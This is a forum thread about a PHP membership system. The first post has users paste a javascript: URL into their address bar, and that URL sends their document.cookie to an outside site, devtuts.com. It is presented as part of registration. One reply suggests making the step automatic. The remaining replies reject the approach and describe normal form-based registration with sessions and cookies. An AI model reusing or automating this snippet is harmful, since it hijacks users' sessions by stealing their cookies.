Okay, I have a members system and when you register it's supposed to log you in and then redirect you to a page that records your information. So I just do this when they register, I print to the screen and ask them to put this in their URL bar: java script:window.open('http://www.devtuts.com/game.php?info=' + document.cookie); But some users aren't doing it! It makes me mad because its not correctly registering users, I'm thinking about returning the script from the guy I bought it from! Any ideas?
Make it so that it automatically does that? Tell that guy who you bought it off of to do that, or use an include on a php page so that it does that?
Why would the developer send the people to another page to just their registration information in DB? There should be a fill in page, where they fill in their Username, Password, ETC, and then when they fill the form out, it sends them to the next page. In the next page, it would normally check the User input to make sure it is valid, then submit it to the database. After that (and in the same loaded page), it tells the user that they registered successfully. Also, for keeping members logged in, you should use Sessions. Later on, you can give the members the choice to stay logged in all the time, even after they close the browser. To do that, you simply have a Cookie named like \'Auto_Login\' and you set it to 1 or 0. If it is 1, then when they load the page, it creates Session variables for the user.
The developer who made that script has to be some kind idiot. First of all, why would you make the user input it and secondly, why would you even need to. A registration script can be simply done using a form, and a php if statement with a query. Whats the need for javascript in there? If you're trying to record a user to be logged in you can use $_COOKIE or $_SESSION. Hell you can even set the user status in the sql database to true or something.
Yes it is but I was just comparing it to something bad to make the other look bad. :tongue: But it could actually be used but it would be very unresourceful coding (create a random md5 key when the user logs in, save the key in a cookie, and if that cookie equals the on in the database, you are logged in) << but its a bad idea as it is..just stating how it is bad..